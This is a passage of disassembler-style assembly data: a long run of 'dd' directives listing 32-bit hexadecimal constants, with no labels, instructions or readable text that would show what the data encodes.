		dd 3400CD13h, 0C25A2CBAh, 80F23129h, 1116A6EAh,	34EC40D0h
		dd 0AE701913h, 1A90D34h, 0F45FF494h, 0DE41F58Eh, 1209E820h
		dd 0C30BB0DAh, 52FB87A0h, 73B3A07h, 0A7822D97h,	3CD3C9F0h
		dd 5DCDCB3Eh, 90E98284h, 7444AA0Dh, 7EB0C942h, 38064FD8h
		dd 0B94F440Ah, 297A24ADh, 2A61A9C4h, 3A79B4C8h,	0B7E84A6h
		dd 0A0F4F7FEh, 95AF756Bh, 0F8585BABh, 0CA63CBEAh, 0E2574FB2h
		dd 5A5AE93Bh, 992FD643h, 166B2C10h, 50B7EC84h, 0A64E6BEEh
		dd 5FB71C26h, 3EF6D3D2h, 0F375FEDDh, 0CFBEBD95h, 2D064CC9h
		dd 5DB47D5Ah, 545540A2h, 0F6E90599h, 11DCEBDEh,	0EC595BCBh
		dd 0E0D3B10Bh, 1611AD2Eh, 48E045E9h, 0B0B91EB7h, 0B98453F8h
		dd 6F80513Fh, 975AACE4h, 0A24DE972h, 5FE14F23h,	9BB259BDh
		dd 78D5BF7Dh, 0FBE59F4Bh, 82D7D225h, 0E52B5D08h, 478F7A30h
		dd 774D50C4h, 1684F2AEh, 6AF2C868h, 0AA545785h,	0BF10949Ah
		dd 4AB64CC3h, 0EA0684EAh, 0F1E63206h, 2FFD77C5h, 21793FCFh
		dd 8BB8B393h, 6ADEAE4Eh, 6698EA4Ah, 0FD1D5E4Bh,	0B294D6E5h
		dd 1E493F8h, 5A2A3EFBh,	30EE217Eh, 5325D8F1h, 346D48Ch
		dd 2D6F13ABh, 175B0C00h, 64E97B0Fh, 0D26C9F9Fh,	548135FAh
		dd 3F47AA3Ah, 1ED4D329h, 97E02EF4h, 0E9615AF3h,	0B27ACBF9h
		dd 7D257878h, 642D7477h, 26CFB824h, 521851BDh, 139AEDA2h
		dd 0AB569E29h, 0F7080258h, 0C08778DBh, 2FC4C522h, 0DCC11025h
		dd 32C171CBh, 47291880h, 74E9DB3Ch, 993A3FB6h, 5864C90Ch
		dd 0F233AB2Bh, 0B19D0AD3h, 0E2F35265h, 0E4DF1ADDh, 0C01233AEh
		dd 0F5CFC1B7h, 7E15E114h, 12F2E0B0h, 6F55958h, 725AD6C0h
		dd 150FCC40h, 0A3FC0B84h, 108EF65Ah, 5A05B7AFh,	0BB581801h
		dd 7A79374h, 0D926C74Ch, 56280820h, 3556F02Fh, 0AA0E84FCh
		dd 0CF93C6E0h, 63A53306h, 2E4FFB5h, 92D4F24Ch, 0F38124C3h
		dd 0C3D385Bh, 9C6292A5h, 0FCCF94FFh, 90B45E82h,	56C3C7BAh
		dd 0C281630h, 0F19741EFh, 1A5E946Eh, 140C0C08h,	0CC25E9D5h
		dd 9ED37925h, 54182FE5h, 0BE67E23h, 0BD8CD7F0h,	88401B05h
		dd 8EEEDDBCh, 88C18097h, 3A6866C3h, 0EA4B4CEBh,	62E9D371h
		dd 0AA4E2768h, 7CBA1934h, 0F6273AC5h, 53E655FEh, 14C7EB31h
		dd 0A660B551h, 37C0E8C5h, 580C05E5h, 0F501021Fh, 59EE2894h
		dd 0C6F9E6CDh, 0F8E1E9E1h, 0C03B0C35h, 5F68F549h, 0EA8D7A4Ah
		dd 2DF5E92Fh, 283460A6h, 4A9DEED9h, 0F915B58Dh,	4E2E7CB8h
		dd 0F996B3E8h, 95E26ABh, 41CAC0CBh, 0DA1A5C2Dh,	0F5227205h
		dd 0CB810B0Dh, 14279776h, 0D5294C3Ch, 3BAED010h, 70103556h
		dd 0C196DAF9h, 85D7F726h, 2720E90Bh, 0D39CF4E8h, 0A9410EE6h
		dd 8050BC65h, 170C1397h, 8D091626h, 0F7576E1Ah,	30C248DAh
		dd 403549F1h, 136FF5E3h, 0FCF83194h, 0EDAC131Ch, 0D4832599h
		dd 34C3145h, 0E5CA13AAh, 94674802h, 27277E0Bh, 0EFF945Dh
		dd 31B36857h, 0F9563A89h, 0DAF68000h, 5FD7E9C0h, 0D1F9971Eh
		dd 6FC9F3D5h, 40455AB1h, 0D3053EECh, 0AA1A0746h, 136F22C8h
		dd 0FE503160h, 0D1029ED7h, 6BA2FC5Ah, 2734EB55h, 3A85F684h
		dd 2195B0B6h, 5CCBD2BEh, 80AB96DFh, 0B9A6819h, 866D19B5h
		dd 20D70BCEh, 0CC52F226h, 30317EF0h, 0C2C76279h, 0AB3D0585h
		dd 0E050AD34h, 5A875F3Bh, 6198F71Ch, 0FBFFBB99h, 6F5F939Eh
		dd 140851F3h, 0BB5C1219h, 4F7F23B7h, 8BE7828Ch,	0DC2F6B51h
		dd 0E913546Eh, 0A797573Fh, 3BFB63D0h, 9C8302BDh, 0F501C404h
		dd 1ED65809h, 0ACA32694h, 0DB040F8h, 5B9513F1h,	980CA04Dh
		dd 0FF1A82D4h, 710BEF51h, 3711F77Dh, 0C5D2E721h, 2E5E3569h
		dd 5DE8A9F1h, 0C251B578h, 5F7EC152h, 5B6C322Fh,	3D6FAD27h
		dd 93680CF0h, 30351203h, 6501BE5Ah, 1669E2D1h, 0B84B163Ah
		dd 98440B79h, 0CB610EE9h, 1F67C9F3h, 0FE5905CEh, 0A135342Ah
		dd 0D29D2Dh, 8736EAAEh,	84BF3758h, 0BF00F0C9h, 0ACB0733h
		dd 3F78102h, 7D467312h,	99DD15E2h, 16E9539Ah, 12CC182Bh
		dd 5D7F44A8h, 57D00927h, 0F60DE6Ah, 0D3D78AFh, 4A529B2Dh
		dd 6C26BAFFh, 0ED014B7Ah, 0CEC8845Ch, 0F309F70Bh, 0C58C205Dh
		dd 82226815h, 211736F6h, 0BFC284B4h, 8C2C155Ch,	57C25545h
		dd 0A5F675B0h, 1A937E6Fh, 0FB057EC0h, 7E5B091Bh, 2A99535Eh
		dd 6EA96E2Dh, 2C01ED1Bh, 0B93088D0h, 0FD6E42BFh, 53E90F8h
		dd 1DD28611h, 44C829h, 4C092E6Dh, 15CEB81h, 0D8FC3778h
		dd 5203490h, 8681736h, 0A015F974h, 3B06BA52h, 0B84AF966h
		dd 1F1912E7h, 68725797h, 5772773Ah, 2463C948h, 763F551Bh
		dd 7CC4F1F2h, 0C2AE4303h, 42E21504h, 0C84EA9F6h, 0C2273D7Eh
		dd 8F99FCF6h, 0B03BD406h, 0E439C07Dh, 8EC9605h,	553C83FBh
		dd 82B6859Fh, 65553BE2h, 65DA12A1h, 0E59808F6h,	5BE7EA9Fh
		dd 85291651h, 0A110B2FAh, 26CBF4E9h, 0D1E3248h,	62093001h
		dd 6F652829h, 0F7B1F080h, 59CB0813h, 0E90B5ACAh, 1A57384Ah
		dd 0DA625DADh, 2EED4C60h, 7B21BA24h, 206E914h, 0A02FCEC6h
		dd 2D41D53Ah, 5F0841EEh, 0FD674151h, 0E78100DEh, 0D23C1D74h
		dd 0A6CF806Bh, 530F4875h, 24F6CCA3h, 0EC925D95h, 860BB37Ch
		dd 0E247751Fh, 8B60EB1Ah
		dd 52921918h, 0DDD4E360h, 5F6CA534h, 80441B0Bh,	399D5C46h
		dd 264C1EBCh, 0FAE99305h, 93CDBEA4h, 0CC368D04h, 0A6980Ch
		dd 32ED5FF7h, 943B292Dh, 7C6D2048h, 5E0CE738h, 0F0F565BEh
		dd 0A1403808h, 23BB0935h, 0A3706087h, 65AD40E7h, 4758A307h
		dd 355F00E3h, 27853F46h, 0CAC56909h, 16FF79E2h,	71C89565h
		dd 0E9804936h, 38D9D93h, 0FAFD2F3Ch, 737ED6C1h,	4FF8DB71h
		dd 3C4EF805h, 0E90BA9A2h, 2E104216h, 4BE66B30h,	8AE6813Eh
		dd 0F041F57Ah, 527B4303h, 0C9CEE10Bh, 901E48D4h, 64E109F9h
		dd 92FC7FAAh, 200EE981h, 183A8A2Eh, 4FF63C75h, 0D7EB532Fh
		dd 0CB0A1501h, 68B94CFEh, 5B426325h, 16AE2C94h,	0AD25A032h
		dd 52EB6AD3h, 0EE031261h, 0ABE6A45Ch, 14B74D0Bh, 8D60BD41h
		dd 0D2003B73h, 2ECD2511h, 4AE97DBEh, 91D5C449h,	0CF8584h
		dd 0B51A6468h, 650760E6h, 5F2B3105h, 0F10D92E2h, 296E8652h
		dd 0DF0C0699h, 81D6CAE9h, 8B7D95EEh, 1765DFD7h,	29BFF113h
		dd 5107A459h, 9B2D0A16h, 7B55DDCCh, 58E39E8Bh, 544F575Dh
		dd 4020F229h, 84A4BDB6h, 0C638C871h, 0BAF3D009h, 1921D619h
		dd 576633EBh, 0D1F742C5h, 0D55E07A7h, 0D78ABE56h, 47D2680Eh
		dd 3EB6AF13h, 34B95184h, 0CF4DA2FFh, 34BFB339h,	0EC1982E8h
		dd 1842720Bh, 2F261E68h, 7197A177h, 0B47DAD30h,	92B0BD4Ah
		dd 47537668h, 0CF3178E0h, 48DE577Bh, 53635F02h,	0E883BE3h
		dd 0A3A0D7F7h, 142E3D9Eh, 7B16C037h, 442DE5E3h,	0CEBE6240h
		dd 61656B05h, 8C82F509h, 6123DCD7h, 7B854B91h, 99989D13h
		dd 1EB607E1h, 84687236h, 1330982Eh, 4C574704h, 7BE6D901h
		dd 6850520Eh, 37E67E2h,	22AA0AE3h, 2F04F955h, 75429A54h
		dd 64510723h, 3AD0B122h, 844BA8E2h, 37238214h, 89C9E69Ah
		dd 6874D2E9h, 13B85912h, 60A7ED5Ah, 681CD30Ch, 0A2017C16h
		dd 34EC7FD1h, 0E97D0F82h, 28019C0Dh, 55B720ECh,	9BE68980h
		dd 0C118996h, 25C94C5Dh, 0DBE5B5D2h, 43C0CC16h,	4FC7805Ah
		dd 7293BA96h, 950C247Eh, 0C83F162Dh, 361F6020h,	0EC1A121Fh
		dd 0A0E27DD7h, 524DDC5Dh, 66182DF1h, 697DE90Bh,	900036C0h
		dd 17C94587h, 6501F690h, 21086E2Eh, 0CBE45EF3h,	0D6391826h
		dd 56170C53h, 1F33013Eh, 0ED4B02E3h, 0FE7F846Eh, 5D6647C2h
		dd 0C575C5E2h, 0E90512DBh, 0E9571DEFh, 0ABCA5F5Bh, 0C3874E3Ah
		dd 0F093315h, 30741168h, 0D0B5B1Eh, 0DBF75043h,	4AFE0204h
		dd 0BEB673FDh, 80BE802Ch, 223E581h, 12B00E8Dh, 0FA25EA98h
		dd 0A0E8F0F1h, 5C6E18E5h, 1E7BDF38h, 0ECD25F27h, 0BD3435DFh
		dd 7F2B40FCh, 0D238A7D8h, 65C9250Bh, 0AC97635Eh, 6ABFC180h
		dd 39D52424h, 3EB40328h, 30B7F6EDh, 2D064140h, 42FD0130h
		dd 0B7A65A9Dh, 630B0650h, 8A1A7362h, 0D21204F0h, 0A6B67290h
		dd 31E417AFh, 53A312D6h, 0A5C4ABEAh, 5E9DF3EAh,	4CB29B76h
		dd 29C41B15h, 6AFDAFC1h, 2E07BF81h, 0D27201Ch, 36080300h
		dd 4BDA8742h, 16184EE9h, 5C18CC68h, 0BB9C3EF8h,	7CE75727h
		dd 7A726884h, 1E1D32EEh, 7C55FCCAh, 0BFC96F56h,	0AF35DF10h
		dd 207C1172h, 5E914F2Eh, 60DFC9E0h, 992650A2h, 0A64518C6h
		dd 0DDCBC423h, 5B3FF01h, 62CE372Eh, 0A22DCC30h,	887F7407h
		dd 680B8210h, 4CD884A7h, 500EFCBh, 7C4373CDh, 0FE121435h
		dd 34BC858Ch, 27863124h, 5608E409h, 88E412FAh, 595D5444h
		dd 122495CEh, 8ABF21E8h, 74957BB9h, 0B50CA05h, 385E290Ch
		dd 4801DD27h, 7F200163h, 3325001h, 952E6FD7h, 0B2450F1h
		dd 77F6E909h, 0E754E5B0h, 7F094A92h, 472844Fh, 9C192ABBh
		dd 0CA053F06h, 8A09C331h, 3531E664h, 0EA1EBE6Fh, 0BB58D9D3h
		dd 51DCB8C4h, 0B0694EB5h, 0ED30808Ah, 0E94606CFh, 73FD6076h
		dd 69B20CD4h, 0D2EA8127h, 13E92EE0h, 0DA298D28h, 44E56B1Ah
		dd 0C9ABDE9Ch, 45023247h, 80551D82h, 5CB8F24Bh,	0BB334C45h
		dd 0EF00D948h, 503060FEh, 0E22DE94Fh, 0D7B19ABBh, 0F9284F03h
		dd 5DB9BC05h, 27878D6Eh, 44B31F65h, 0AC490C17h,	0C6BDC528h
		dd 981CE749h, 0C58C9B25h, 81F10836h, 699AF3Dh, 0B7D4200Ch
		dd 0EB29581Fh, 68AC2092h, 944FE74Fh, 6AC83544h,	68496281h
		dd 0E05B223Eh, 83EA5B68h, 9303909h, 638B6A5Eh, 862A01F6h
		dd 3CE180D9h, 11286F53h, 4C6D79B0h, 0DC208244h,	235DBE03h
		dd 0D94E1C8Fh, 0C3250A8Ch, 50EF3330h, 0FAF3E7BDh, 0B2835A99h
		dd 6B17788Dh, 0AC8FECEh, 27567B50h, 6CF99CF4h, 484C2F06h
		dd 6F9369BCh, 2ED20668h, 82BE80h, 0BB67E66Fh, 0F9522B4h
		dd 0BED0A592h, 56DB04BDh, 7882793Fh, 0D50789C5h, 0D62AA796h
		dd 0F3B09CFBh, 52912D07h, 0D48B4407h, 9F26778h,	26E8CE57h
		dd 0BEE94CE9h, 86D3CC4Eh, 0BFEED28h, 3A33A8A0h,	0D717FA25h
		dd 0B1C2A92Bh, 8DB0C08h, 8309BC38h, 89455DC3h, 0C76A3B22h
		dd 0DE1341B5h, 74AF9B57h, 9009E244h, 689225A8h,	257558E9h
		dd 0FD005546h, 2E1F1A38h, 0C1F1E912h, 0C6E21841h, 0A240B52Dh
		dd 462A0C2h, 61E90FD4h,	88A2EAB3h, 87A91920h, 0E5C32C8Ah
		dd 646FFFB4h, 0AE295EBCh, 0C3E6001h, 84AD56A8h,	0D7F78F75h
		dd 0B227A0ECh, 0FB203444h, 0D1A680B9h, 5054163Eh, 53930531h
		dd 41EC385Fh, 3F90164Bh, 575259h, 194B8568h, 44E95F35h
		dd 2D20ED60h, 28996438h, 12F9401Ch, 0FE834DBCh,	0D0FA0344h
		dd 7BB6B6FEh, 7205B025h, 2773FA04h, 0E7EA2229h,	0C4E90801h
		dd 42FC2A06h, 4EC269C6h, 78FA8827h, 505B1E19h, 53CA0F52h
		dd 0DCAFD36Fh, 97040453h, 4FC017BDh, 2FDEEF3Fh,	0FBDE29C3h
		dd 4A8A5ED2h, 291F89B6h, 3909AE46h, 0DC3AF33Bh,	89561492h
		dd 8074BC00h, 5AAEE90Bh, 0DE2A64B2h, 0C52FA218h, 8082243h
		dd 1F9B8442h, 9CF8101h,	64A74776h, 1508C1E7h, 0ADE4434Ch
		dd 0F41A8899h, 48485F0Ch, 0E0CB272Bh, 0FEDFB75Ch, 88611FB4h
		dd 0FE2A39E1h, 27B17C3h, 3DD60645h, 28091451h, 0DD5966EBh
		dd 9B1D4CA7h, 0C5C2940Eh, 1262E97Fh, 0C9BB1BD7h, 937E6715h
		dd 0FDC14A76h, 0D5CA2A02h, 7F58112h, 4257D55Ch,	4D638A8h
		dd 0A9F20543h, 883A1066h, 813C07B9h, 617882EEh,	0E883E91Eh
		dd 4F015B98h, 15D0D8D5h, 7731B240h, 0F8A24F8h, 84BAC5Bh
		dd 6816BAF1h, 2CE9B7F5h, 0B47EA765h, 5D1331B4h,	0A3EA199Fh
		dd 8BD91CB2h, 0B84423E4h, 0F0BDF5D0h, 2C292464h, 9B140011h
		dd 8FE9D3D6h, 0F7A6899Dh, 8103F69Eh, 8314F9EBh,	2C0C0144h
		dd 0E92D213Ch, 686C24CCh, 9758F0Ch, 8212C40Bh, 9F00D37Dh
		dd 0F07CD35Dh, 1F5FB417h, 0F603FDE8h, 80CAFED2h, 8985C5BAh
		dd 0F59EF410h, 2C0B030Fh, 0E1438426h, 5919A7FFh, 4A92713h
		dd 61D05E0Bh, 25E4173Dh, 28F5013Ch, 68040AF3h, 589160C0h
		dd 773FD8F0h, 0C0208835h, 0FD07C44Bh, 0AB72D120h, 0DD45E9F2h
		dd 2D103570h, 8D40632Ch, 0AC81864Eh, 9F618220h,	95926D6h
		dd 8B68F87Eh, 17CED8FEh, 595A51h, 0DA477029h, 0D74C0116h
		dd 380841F6h, 7DBF9276h, 277E60C6h, 62F76880h, 0CC0BE75Ch
		dd 89628007h, 9A836330h, 0EB8D40D8h, 0E9B3B0EFh, 0E8B98113h
		dd 0B65ED642h, 16C30833h, 0BF4EB18h, 16A4BE26h,	88A1EB2Dh
		dd 2E34F2D4h, 25A114BDh, 0A9D5D6EAh, 0AA9FDAAh,	0DB9FCBCCh
		dd 0F109672Eh, 64B6F6E9h, 0B40592DEh, 0F131137Dh, 9BF78C2h
		dd 0B6B92C86h, 81F01F0h, 56CC4D1Fh, 9DBB1E49h, 49558A5Fh
		dd 0D0DDD43Bh, 3CD78648h
		dd 2F8E4951h, 59DC427Fh, 3356AD97h, 40F4DDC6h, 7403B9F0h
		dd 0BD2E5559h, 0A00B4A78h, 53752D52h, 5514501h,	18BE2373h
		dd 1FFFC46Eh, 5B112807h, 9C24EB5Dh, 1EC3DC2h, 6B300168h
		dd 0AF6016CDh, 566D00F9h, 580B9ABEh, 0F6048174h, 72A80594h
		dd 0C6ED01EEh, 40A74A26h, 1D1FEDD3h, 12F0809h, 8F408F5h
		dd 0ECF38E28h, 5F4A736Ah, 0FD06B7EDh, 0ACEA5704h, 739D5D71h
		dd 990269D5h, 50D6FE6Fh, 0A413174Fh, 1260E8E4h,	1485778h
		dd 33548003h, 8BF7F07Ch, 5FFEDA07h, 0B03CFD31h,	3B490D85h
		dd 0CAC00115h, 55890889h, 642C74EDh, 18B4AE16h,	0BA3C14CDh
		dd 2502D760h, 43249A2Fh, 0F5598A60h, 31FAE312h,	0D0F77200h
		dd 65704635h, 0C1F9E036h, 7B8922CFh, 0DAD33D04h, 7D5CBB00h
		dd 0B7A046BAh, 0B2124986h, 0D0FA0914h, 4012EB0Ah, 0E20BCE30h
		dd 48BB20F2h, 7206DD50h, 0C135F7Dh, 0F93EC804h,	4BE317Fh
		dd 5CEC8Ch, 8002EDC0h, 4960FBE5h, 80259A7Ah, 2555B6CAh
		dd 9D8579E9h, 0EEF7C457h, 4F257C0h, 801825C2h, 2109CF56h
		dd 0A22190F8h, 0CD7CB752h, 82CF3C70h, 0A4A0FED4h, 9761F8BFh
		dd 8111A6F1h, 1774FC5Fh, 38EE3C8Bh, 605FF0FFh, 0AC4F06B7h
		dd 66E11858h, 0BF8B9475h, 163F23E7h, 28AA63AFh,	15ED01B7h
		dd 57EBEF82h, 705A3A5Ah, 5201C2C5h, 385266AAh, 5FED46Bh
		dd 9491E908h, 0B1C7ABD8h, 135FF587h, 698BB7EAh,	64C25F76h
		dd 507D7862h, 95AC904Fh, 0E9D63857h, 7EC467EAh,	777AAB8h
		dd 0E21831F8h, 9BD3956Ch, 0D1A66889h, 7DBAF95h,	1A5DE905h
		dd 708E4EEEh, 0CC8FBE16h, 76616802h, 0CF8749B5h, 485D41F1h
		dd 5A155C41h, 0E87351BFh, 18CA6006h, 145C226Dh,	4A522D73h
		dd 694ADF26h, 63255377h, 0EF04EF08h, 0F913E5C1h, 0F3A7C0FAh
		dd 120BC23Ah, 0F262A6E9h, 0C6042077h, 6F185664h, 69AEBE01h
		dd 0C3C17036h, 5590595h, 5F1DF3F5h, 0BB65043Bh,	7E2D00FDh
		dd 9567481Ah, 0AEC09243h, 984A5D1Bh, 0E93842EBh, 0B25FDC44h
		dd 989F5989h, 68BB5D86h, 11745F19h, 0EE2A5B64h,	0E9F0042Dh
		dd 0ECBD4A17h, 0F66C22Ah, 4318DCAFh, 2C5E07CBh,	7D13CBBDh
		dd 7A27AE74h, 3159C8A0h, 132FAEC2h, 0FFA088E9h,	5C27A2DFh
		dd 0E91C1873h, 0FF0A0B5Ah, 0E9137DBEh, 0CDF58F9Fh, 321AAE2Eh
		dd 0E9F2DD0Ch, 7E2B0A20h, 5C224868h, 71BA52C1h,	3032ED6Fh
		dd 6315B03Eh, 5E3F2EE3h, 4EA46EB0h, 12B425B5h, 6CB0AEDDh
		dd 0A1DA5089h, 3BF89167h, 7C87504h, 51D39280h, 5FE5D885h
		dd 4A102F20h, 5821F22h,	0C5C8D3BAh, 0F071D76Ch,	0F6BC21B7h
		dd 0D5785FC9h, 9B7E9C2Dh, 0CF889CD5h, 0CD364BC3h, 3CDCFD8Eh
		dd 0F0B785B3h, 27D9C7EAh, 0FA93F437h, 8A32AE10h, 78E4C751h
		dd 0DC4856FCh, 0D609C10h, 603E1C1h, 0B6026B68h,	31DF73BBh
		dd 975571DFh, 0A92DBB01h, 8B9A1E3Eh, 0C28B33F9h, 681598DFh
		dd 0D44153ECh, 4258E917h, 0C0D4F6EAh, 6DF1215Dh, 3AFCE108h
		dd 95FF9AC1h, 0D9BA9D70h, 0E5420CD7h, 49AEE95Ah, 0B22E5C46h
		dd 25E9A04Fh, 2698BFAEh, 0FE57E699h, 86F64F94h,	284D4513h
		dd 0B73F5396h, 0DF401601h, 0AA5F20B7h, 9F5C2A38h, 3BB87E74h
		dd 0B30C90F3h, 66CF2809h, 0A2B52B02h, 0AC26837Ch, 28B4500Ch
		dd 0A63F5ECCh, 486C2F1Dh, 963BD1Dh, 504DC541h, 7A487D00h
		dd 811D6570h, 0D81B0E2h, 0B137E93Ah, 0C1B1497Fh, 0ECA427D9h
		dd 96A15827h, 759663F6h, 735E122Dh, 0A07D2FDEh,	0B8685C17h
		dd 87989534h, 189D1C21h, 0E116D3E7h, 4128BA2Bh,	0C21A5FE9h
		dd 5455BD67h, 0EB051272h, 0B94BA921h, 5F10E669h, 2E573ECCh
		dd 5DADED9Bh, 6E893891h, 865115E2h, 96C8F33Ah, 0E90D0CA6h
		dd 6A2AF5C1h, 31D150E5h, 1246867Bh, 939D53B0h, 1F327D34h
		dd 0E61E6FBEh, 20D00B77h, 569B2E7Eh, 0E9120B1Ch, 0AC9CBC4h
		dd 4E88682Ah, 36392DBFh, 5CE9137Ch, 0EBFBE56h, 0F44B9258h
		dd 520830DFh, 62D26BB2h, 73685E81h, 75F72F23h, 4116B146h
		dd 215441B3h, 306C9312h, 1F176D64h, 7AB534DCh, 31580800h
		dd 96F795CDh, 0D803EEFh, 0DAF71880h, 48B85042h,	0BC2FC313h
		dd 0BA3B3AB5h, 0F7BA1912h, 8566094Bh, 0EC8082C8h, 0D20FB2h
		dd 861760D1h, 31ED0110h, 0E90800BEh, 2F9DB471h,	0BE59E109h
		dd 0B46B4F56h, 0E3F6FDD2h, 75ECA94Eh, 468E210h,	6E6C15Dh
		dd 0DA431281h, 4E780223h, 3FBDED1Bh, 0DDE699EEh, 88A5EB0Fh
		dd 92589DFh, 63D275C9h,	54CD185Eh, 0CE20AC6Fh, 0F7A1F807h
		dd 31B33F51h, 7E8E29B1h, 0FC77F6FDh, 0BF63F8D4h, 0FC6FF40h
		dd 73A72509h, 0D5C13F69h, 0F8EC6189h, 353DE3EDh, 0E9D4DE3Ah
		dd 19210816h, 0BD3ED29Bh, 0A2CACF11h, 0DFFECBFAh, 0A7A5F190h
		dd 7DC173C9h, 2FFDEE58h, 421EBE41h, 0ED403743h,	244524Ah
		dd 0E9C6016Dh, 95D4DB64h, 498264B4h, 206B7634h,	7F6818F9h
		dd 5B56D738h, 1679679Dh, 6891C08Bh, 940E751Eh, 1C2D5811h
		dd 0E9654AC1h, 273FF5B5h, 687FE922h, 0AAB1D219h, 2FC1DDB6h
		dd 0CC0930C0h, 846B9068h, 2D9D4C27h, 1A7CD901h,	0B6E91954h
		dd 404928E6h, 612AA28Ah, 0D17EE890h, 32D165Dh, 0F67F90B8h
		dd 48D8E005h, 8070092Dh, 7C01FA09h, 6B625AE9h, 2C984CD6h
		dd 521552CDh, 0E2F068DDh, 6B68275Dh, 7206B5Eh, 967BE912h
		dd 41F799AFh, 1E4F863h,	0CC40DA87h, 19541A5h, 7FE62543h
		dd 0F2405D1Ah, 0A0F12D55h, 85CBD4B8h, 2D79CC8h,	9BF9440h
		dd 770D13AAh, 0AF6A501h, 3E5C20B0h, 3B53D240h, 1D8BB5BBh
		dd 18DF3149h, 0D7D5C4C7h, 0A38AFB22h, 0F1C7E982h, 4D857674h
		dd 7E819F36h, 0B229DA8Ch, 4E71511h, 5C618BBEh, 300027ECh
		dd 551CEC31h, 3218BA68h, 23303D66h, 0DEB98069h,	14F13F1Fh
		dd 2D7FEBC2h, 0C0C9EA6Ah, 33735F5h, 0ACE90DBCh,	0D350FF5Fh
		dd 0E3975CB2h, 9703D6D3h, 41630277h, 0F2A2F719h, 0C05161C9h
		dd 15DB6805h, 24AD39EEh, 8B2D5E72h, 4E6A343Ch, 0B074B850h
		dd 5B336F13h, 0E04DB811h, 807E0529h, 7A1628C5h,	0E6F06ACEh
		dd 19101741h, 0CBED0DD3h, 2DC730C5h, 2603DE9Dh,	0B0C02D39h
		dd 0CD61EE80h, 0F1282906h, 0AA62E893h, 1FC59CC8h, 0E7E386C4h
		dd 50FB670h, 2200D25h, 8B2DD001h, 2EB1FD07h, 3C8D2C55h
		dd 0FA300BBDh, 891A0F26h, 0FEEDA966h, 8FD4F288h, 0E95822A5h
		dd 13E8F63Dh, 0DCA2BE66h, 9A047CD4h, 0C00E1402h, 0F94618C2h
		dd 0F54D3E2Ch, 3075AE10h, 5947AFC0h, 0F63BD186h, 2D4E5FD2h
		dd 3D98BCAh, 0F4C9FEECh, 29C3F081h, 5DEB0100h, 2CFE894Bh
		dd 0CE0BBFC5h, 0FCF0ECB4h, 13F128D1h, 0BDFF8625h, 0C11CD086h
		dd 0FEB04DE9h, 8931A92Ah, 255C7329h, 0B064B67Ch, 40CE8CEAh
		dd 5D9804BFh, 0E139A8BBh, 0D53A855Fh, 960FBCEDh, 1EAB43A4h
		dd 0B914DB4Fh, 0FA5BD6B5h, 80CCDD01h, 0EBCC9AF3h, 380CCFB5h
		dd 6E0C326h, 0B6525901h, 5AF4282Bh, 0C4F9DCCDh,	39515BE0h
		dd 0EA04E588h, 0BF8F0EE9h, 0A8746320h, 0E2E2BF55h, 0E047E375h
		dd 944AA968h, 0D61963F5h, 0A8529C33h, 0CA956251h, 125998D1h
		dd 0DDA15693h, 92E1E97Bh, 44CFAF0Ch, 68E81C29h,	2966A733h
		dd 14F1A01h, 0E826E936h, 0DDF79F51h, 196A807Bh,	32986302h
		dd 4AC7F506h, 4F7C1359h, 0E767AB66h, 687E2DB2h,	1892E35Fh
		dd 0C5E7739h, 152F053Bh, 0DB258069h, 5E29945Dh,	66028BDEh
		dd 92AFCE86h, 19EA044Fh, 0C04F877Eh, 2BAC8F55h,	30E0895Bh
		dd 8104E1E1h, 243322B5h
		dd 0AE41546Ch, 0A125C20h, 2948E37Dh, 0B724B1h, 7BAC3186h
		dd 0CAF1E901h, 71C088Dh, 0F16FD517h, 5570209Bh,	572546BCh
		dd 0E940BDE5h, 91FEC939h, 0F123924Ah, 7A603504h, 0DA6074FCh
		dd 0F27F8DCEh, 0E24E086Eh, 5F55792Eh, 26F7FD0Bh, 2C65EB4h
		dd 0EC7BFCA8h, 0C300D631h, 954715AAh, 8762875h,	59A85E17h
		dd 96D4B796h, 0BD6981FEh, 59A0A7ADh, 0E17B726Eh, 0FEE4D105h
		dd 307BA1F6h, 68F3E8F5h, 7BB73D48h, 97CB9D35h, 0C76006B9h
		dd 68122ADFh, 81CC1F60h, 0A34B1392h, 33C8FB76h,	354EE9h
		dd 36C468B6h, 8AF4493Eh, 0EF1A68B5h, 0FBF532F8h, 9FF829Ah
		dd 4DC775CCh, 0D6E90CB0h, 264B536h, 0E05BC740h,	0B7F897F1h
		dd 8280384Bh, 0B004EEC0h, 2E01730Dh, 1035D6C6h,	0AA532A3Bh
		dd 0EE9B82B5h, 4F30A0Bh, 0FB503DDFh, 48083BC0h,	0B6A7676h
		dd 27E6DE7h, 0CEC75700h, 504A0407h, 0AB050CBCh,	0AF55BAAEh
		dd 3A86BC4h, 0BE52954Ah, 0DA513283h, 2FB3D467h,	2DEA96D5h
		dd 0F84C774Fh, 56515202h, 0E8F7A4E9h, 4E5E5B1Fh, 8F98AB01h
		dd 63B90A51h, 9E4AA7Dh,	0AF10FB0Bh, 55B2F687h, 6FEDCF06h
		dd 9BE16A1h, 17D22965h,	458FF04h, 2B825559h, 485809BCh
		dd 0DA28B10Fh, 0C38D8719h, 5739DFCBh, 2AAF2F5Ah, 5DE96B86h
		dd 575B1A6Eh, 0E9A1D4A2h, 2F98352Eh, 0C29E38EFh, 0FBB91D4Ah
		dd 0C48FE6D2h, 4D1D5C49h, 20D4AC1Ch, 2590CFE4h,	202274Dh
		dd 2C1B90B8h, 0D85E5D17h, 42F9005Ah, 17348C5Dh,	6078DD68h
		dd 0D208876Ah, 0F5001598h, 4316189Bh, 16556851h, 0A8461757h
		dd 2F8E006Ah, 202D1411h, 3EB7669h, 222AD135h, 0E1B04830h
		dd 90967C4h, 5A900CE9h,	6886905h, 0C5C35485h, 771DEE67h
		dd 0FA9937Eh, 820068F5h, 9F100D68h, 0F9A8A318h,	0A78E4082h
		dd 7E69FEDh, 1D6DDE35h,	0BB0E08FDh, 0FE58AF2Ch,	762FE9FAh
		dd 4271FC74h, 0BE0069B0h, 7A435C29h, 8C7D247Eh,	74E24FA1h
		dd 0EF402336h, 0A53051ABh, 0C47F0C78h, 72A66427h, 26BB007Ch
		dd 95187A3Fh, 0E8098978h, 577B032Ah, 0C540A7D9h, 0C154931Ch
		dd 0AF513828h, 72AA3B13h, 0CF5C19F3h, 0E8CF5F27h, 14F9322h
		dd 0DCBE2B13h, 0D427E948h, 4D6FA6Fh, 2FF869AFh,	15560A01h
		dd 926CA62h, 0FE669E07h, 718EFB12h, 0AA4F683Bh,	38F39324h
		dd 4F45FD5Ah, 37FF0CC1h, 747D5C02h, 0AAC287D1h,	47D7DBFEh
